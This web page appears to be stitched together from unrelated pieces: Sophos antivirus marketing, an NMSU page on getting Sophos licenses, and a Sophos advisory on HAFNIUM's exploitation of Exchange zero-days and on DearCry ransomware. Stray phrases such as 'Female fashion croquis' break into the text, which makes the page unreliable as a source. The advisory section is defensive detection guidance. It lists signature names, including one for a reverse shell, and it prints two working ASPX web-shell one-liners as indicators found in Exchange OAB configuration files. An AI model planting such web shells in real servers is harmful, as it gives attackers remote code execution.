Sophos Endpoint Security and Control: How to create a standalone or custom installer package Sophos Anti-Virus: How to check if you're receiving the latest data protection updates Sign up to the Sophos Support Notification Service to get the latest product release information and critical issues. Sophos Anti-Virus for Mac Home Edition. Malware Beta CyberoamOS. Join the Community. Check out our product forums where you can browse a variety of topics, post questions, and get solutions for our entire range of Sophos products. Discussion Forums. Advisory Articles. Protects against known computer viruses, malware, Trojans, worms, bots, potentially unwanted apps (PUAs), ransomware, and more. Sophos Home uses advanced malware protection technologies that, with behavioral detection and artificial intelligence, spot viruses nobody’s even heard of yet. It scans downloaded programs in real time, plus analyzes data from questionable websites and servers you come across to detect and remove malware, exploits and vulnerabilities.
Sophos Anti-Virus License
Sophos Anti-Virus software provides integrated virus detection for Windows, Mac, Unix, and Linux operating systems and servers. Female fashion croquis. Award-winning technology protects servers, desktops, and laptops from viruses, Trojans, worms, and malicious spyware.
Scanning and disinfection can be performed on access, on demand, and automatically at scheduled times resulting in a minimum impact on system performance.
The latest software and virus detection updates are automatically downloaded, ensuring that all computers across the network are fully protected.
Sophos Anti-Virus is a part of the NMSU Enterprise Software Bundle (ESB).
Sophos Anti-Virus software is available to all NMSU departments, faculty, staff, and students at no cost. Software can be installed on NMSU-owned computers. We also have a home Sophos for NMSU employees computers belonging to NMSU faculty, and staff. Students can also get a free install from Sophos directly.
HOW CAN I GET SOPHOS FOR MY COMPUTER?
NMSU-owned computers?
If you need Sophos for your NMSU-owned work computer please contact your department’s IT personnel and submit a ticket so a technician can install Sophos on your NMSU computer.
NMSU employee personally owned computer?
If you are an NMSU employee you can get Sophos for your personal computer by following the instructions on this help page. https://kb.nmsu.edu/105657
NMSU student personal computer?
If you are an NMSU student you can get Sophos for your personal computer by following the instructions on this help page. https://kb.nmsu.edu/105658
Four new zero-day vulnerabilities affecting Microsoft Exchange are being actively exploited in the wild by HAFNIUM, a threat actor believed to be a nation state.
Anyone running on-premises Exchange Servers should patch them without delay, and search their networks for indicators of attack.
Sophos Antivirus For Mac
Sophos protections against HAFNIUM
Sophos MTR, network and endpoint security customers benefit from multiple protections against the exploitation of the new vulnerabilities.
Sophos MTR
The Sophos MTR team has been monitoring our customer environments for behaviors associated with these vulnerabilities since their announcement. If we identify any malicious activity related to these vulnerabilities, we will create a case and be in touch with you directly.
Sophos Firewall
IPS signatures for customers running SFOS and XFOS:
| CVE | SID |
| CVE-2021-26855 | 57241, 57242, 57243, 57244, 2305106, 2305107 |
| CVE-2021-26857 | 57233, 57234 |
| CVE-2021-26858 | 57245, 57246 |
| CVE-2021-27065 | 57245, 57246 |
These signatures are also present on the Endpoint IPS in Intercept X Advanced.
IPS signatures for customers running Sophos UTM:
| CVE | SID |
| CVE-2021-26855 | 57241, 57242, 57243, 57244 |
| CVE-2021-26857 | 57233, 57234 |
| CVE-2021-26858 | 57245, 57246 |
| CVE-2021-27065 | 57245, 57246 |
If you see these detection names on your networks you should investigate further and remediate. Macbook pro to macbook.
Sophos Intercept X Advanced and Sophos Antivirus (SAV)
Customers can monitor the following AV signatures to identify potential HAFNIUM attacks:
Web shell related
- Troj/WebShel-L
- Troj/WebShel-M
- Troj/WebShel-N
- Troj/ASPDoor-T
- Troj/ASPDoor-U
- Troj/ASPDoor-V
- Troj/AspScChk-A
- Troj/Bckdr-RXD
- Troj/WebShel-O
- Troj/WebShel-P
Other payloads
- Mal/Chopper-A
- Mal/Chopper-B
- ATK/Pivot-B
- AMSI/PowerCat-A (Powercat)
- AMSI/PSRev-A (Invoke-PowerShellTcpOneLine reverse shell)
Due to the dynamic nature of the web shells, the shells are blocked but need to be removed manually. If you see these detection names on your networks you should investigate further and remediate.
We have also blocked relevant C2 IP destinations, where it was safe to do so.
Sophos Antivirus
In addition, the “lsass dump” stages of the attack are blocked by the credential protection (CredGuard) included in all Intercept X Advanced subscriptions.
Sophos EDR
Sophos EDR customers can leverage pre-prepared queries to identify potential web shells for investigation:
When reviewing the potential web shells identified by the queries, the web shell will typically appear inside an Exchange Offline Address Book (OAB) configuration file, in the ExternalUrl field. E.g.
ExternalUrl : http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“key-here”],”unsafe”);}</script>
ExternalUrl: http://g/<script Language=”c#” runat=”server”>void Page_Load(object sender, EventArgs e){if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(“error.aspx”));}}</script>
Identifying signs of compromise
The Sophos MTR team has published a step-by-step guide on how to search your network for signs of compromise.
Free Sophos Antivirus Home Edition
DearCry ransomware
The actors behind DearCry ransomware are using the same vulnerabilities as the Hafnium group in their attacks. Sophos Intercept X detects and blocks Dearcry via:
- Troj/Ransom-GFE
- CryptoGuard
Editor note: Post updated with addition of IPS signatures for Sophos UTM and additional detections. 2021-03-10 08:35 UTC
Editor note: Post updated with additional anti-malware signatures for Intercept X and Sophos Antvirus (SAV) 2021-03-11 14:30 UTC
Editor note: Post updated to advise that signatures are now present on the Endpoint IPS, and the addition of two further AV signatures 2021-03-12 09:10 UTC
Editor note: Post updated with DearCry ransomware detections 2021-03-12 16:30 UTC